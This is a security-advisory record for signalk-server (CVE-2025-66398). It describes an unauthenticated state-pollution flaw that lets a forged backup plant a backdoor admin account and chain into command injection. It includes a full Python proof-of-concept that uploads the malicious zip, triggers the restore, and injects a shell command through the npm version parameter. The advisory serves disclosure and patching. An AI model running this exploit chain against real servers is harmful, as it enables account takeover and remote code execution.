{"id":"GHSA-w3x5-7c4c-66p9","revision":"be19638aca104e5ebcae60a514beabfc","records":[{"revision":"be19638aca104e5ebcae60a514beabfc","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-w3x5-7c4c-66p9","aliases":["CVE-2025-66398"],"title":"Signal K Server has Unauthenticated State Pollution leading to Remote Code Execution (RCE)","description":"### Summary\nAn unauthenticated attacker can pollute the internal state (`restoreFilePath`) of the server via the `/skServer/validateBackup` endpoint. This allows the attacker to hijack the administrator's \"Restore\" functionality to overwrite critical server configuration files (e.g., `security.json`, `package.json`), leading to account takeover and Remote Code Execution (RCE).\n\n### Details\nThe vulnerability is caused by the use of a module-level global variable `restoreFilePath` in `src/serverroutes.ts`, which is shared across all requests.\n\n**Vulnerable Code Analysis:**\n1.  **Global State**: `restoreFilePath` is defined at the top level of the module.\n    ```typescript\n    // src/serverroutes.ts\n    let restoreFilePath: string\n    ```\n2.  **Unauthenticated State Pollution**: The `/skServer/validateBackup` endpoint updates this variable. Crucially, this endpoint **lacks authentication middleware**, allowing any user to access it.\n    ```typescript\n    app.post(`${SERVERROUTESPREFIX}/validateBackup`, (req, res) => {\n      // ... handles file upload ...\n      restoreFilePath = fs.mkdtempSync(...) // Attacker controls this path\n    })\n    ```\n3.  **Restore Hijacking**: The `/skServer/restore` endpoint uses the polluted `restoreFilePath` to perform the restoration.\n    ```typescript\n    app.post(`${SERVERROUTESPREFIX}/restore`, (req, res) => {\n      // ...\n      const unzipStream = unzipper.Extract({ path: restoreFilePath }) // Uses polluted path\n      // ...\n    })\n    ```\n\n**Exploit Chain:**\n1.  **Pollution**: Attacker uploads a malicious zip file to `/validateBackup`. The server saves it and updates `restoreFilePath` to point to this malicious file.\n2.  **Hijacking**: When `/restore` is triggered (either by the attacker if they have access, or by a legitimate admin), the server restores the attacker's malicious files.\n3.  **Backdoor**: The attacker overwrites `security.json` to add a new administrator account.\n4.  **RCE**: Using the new admin account, the attacker exploits a separate Command Injection vulnerability in the App Store (`/skServer/appstore/install/...`) to execute arbitrary system commands (e.g., `npm install` injection).\n\n### PoC\nHere is a complete Python script to reproduce the full exploit chain.\n\n```python\nimport requests\nimport zipfile\nimport io\nimport json\nimport time\n\n# Configuration\nTARGET_URL = \"http://localhost:3000\"\nBACKDOOR_USER = \"hacker\"\nBACKDOOR_PASS = \"hacked1234\"\n\ndef step1_plant_backdoor():\n    print(\"[*] Step 1: Planting Backdoor via State Pollution...\")\n    \n    # 1. Create malicious zip with security.json\n    zip_buffer = io.BytesIO()\n    with zipfile.ZipFile(zip_buffer, 'w') as z:\n        # Add backdoor admin user\n        security_config = {\n            \"users\": [{\n                \"username\": BACKDOOR_USER,\n                \"password\": BACKDOOR_PASS, \n                \"permissions\": \"admin\"\n            }]\n        }\n        z.writestr(\"security.json\", json.dumps(security_config))\n        # Enable security to make the backdoor effective\n        z.writestr(\"settings.json\", json.dumps({\"security\": {\"strategy\": \"./tokensecurity\"}}))\n    zip_buffer.seek(0)\n\n    # 2. Pollute State (Unauthenticated)\n    print(\"    [+] Sending malicious backup to /validateBackup...\")\n    res = requests.post(f\"{TARGET_URL}/skServer/validateBackup\", \n                        files={'file': ('malicious.zip', zip_buffer, 'application/zip')})\n    if res.status_code != 200:\n        print(\"    [-] Failed to pollute state.\")\n        return False\n\n    # 3. Trigger Restore (Hijacking)\n    print(\"    [+] Triggering restore to overwrite server config...\")\n    # Note: In a real attack, if /restore is protected, attacker waits for admin to use it.\n    # Here we assume we can trigger it or security is currently off.\n    res = requests.post(f\"{TARGET_URL}/skServer/restore\", json={\"security.json\": True, \"settings.json\": True})\n    \n    if res.status_code in [200, 202]:\n        print(\"    [+] Restore triggered successfully. Backdoor planted.\")\n        print(\"    [!] PLEASE RESTART THE SERVER to load the new configuration.\")\n        return True\n    else:\n        print(f\"    [-] Restore failed: {res.status_code} {res.text}\")\n        return False\n\ndef step2_execute_rce():\n    print(\"\\n[*] Step 2: Executing RCE as Backdoor User...\")\n    \n    # 1. Login\n    session = requests.Session()\n    login_payload = {\"username\": BACKDOOR_USER, \"password\": BACKDOOR_PASS}\n    res = session.post(f\"{TARGET_URL}/signalk/v1/auth/login\", json=login_payload)\n    \n    if res.status_code != 200:\n        print(\"    [-] Login failed. Did you restart the server?\")\n        return\n    \n    token = res.json()['token']\n    print(\"    [+] Login successful. Authenticated as Admin.\")\n\n    # 2. RCE Payload (Windows Example)\n    # Injecting command into version parameter of npm install\n    # Command: echo RCE_SUCCESS > rce_proof.txt\n    cmd_payload = \"1.0.0 & echo RCE_SUCCESS > rce_proof.txt &\"\n    \n    # We need a valid package name to bypass existence check\n    package_name = \"@signalk/freeboard-sk\" \n    \n    print(f\"    [+] Sending RCE payload: {cmd_payload}\")\n    headers = {'Authorization': f'Bearer {token}'}\n    try:\n        session.post(f\"{TARGET_URL}/skServer/appstore/install/{package_name}/{cmd_payload}\", \n                     headers=headers, timeout=5)\n    except:\n        pass # Timeout is expected as the command might hang or take time\n\n    print(\"    [+] Payload sent. Check for 'rce_proof.txt' in server root.\")\n\nif __name__ == \"__main__\":\n    # Run Step 1, then restart server manually, then Run Step 2\n    # step1_plant_backdoor()\n    step2_execute_rce()\n```\n\n### Impact\nRemote Code Execution (RCE), Account Takeover, Denial of Service.\n**Verified**: RCE is demonstrated by creating a file named `rce_proof.txt` containing the text \"RCE_SUCCESS\" on the server filesystem using the exploit chain.","state":0,"publishedAt":"2026-01-02T15:11:49+00:00","modifiedAt":"2026-02-03T03:14:47.787144+00:00","affected":[{"ecosystem":"npm","name":"signalk-server","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.19.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/SignalK/signalk-server/security/advisories/GHSA-w3x5-7c4c-66p9","https://nvd.nist.gov/vuln/detail/CVE-2025-66398","https://github.com/SignalK/signalk-server/commit/5c211eaf33f0ccadbaed6720264780d92afbd7f8","https://github.com/SignalK/signalk-server","https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"],"sourceUrl":"https://github.com/advisories/GHSA-w3x5-7c4c-66p9","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-w3x5-7c4c-66p9","identifiers":["GHSA-w3x5-7c4c-66p9","CVE-2025-66398"]},"retained":false,"historicalAffected":[]}],"coverage":[]}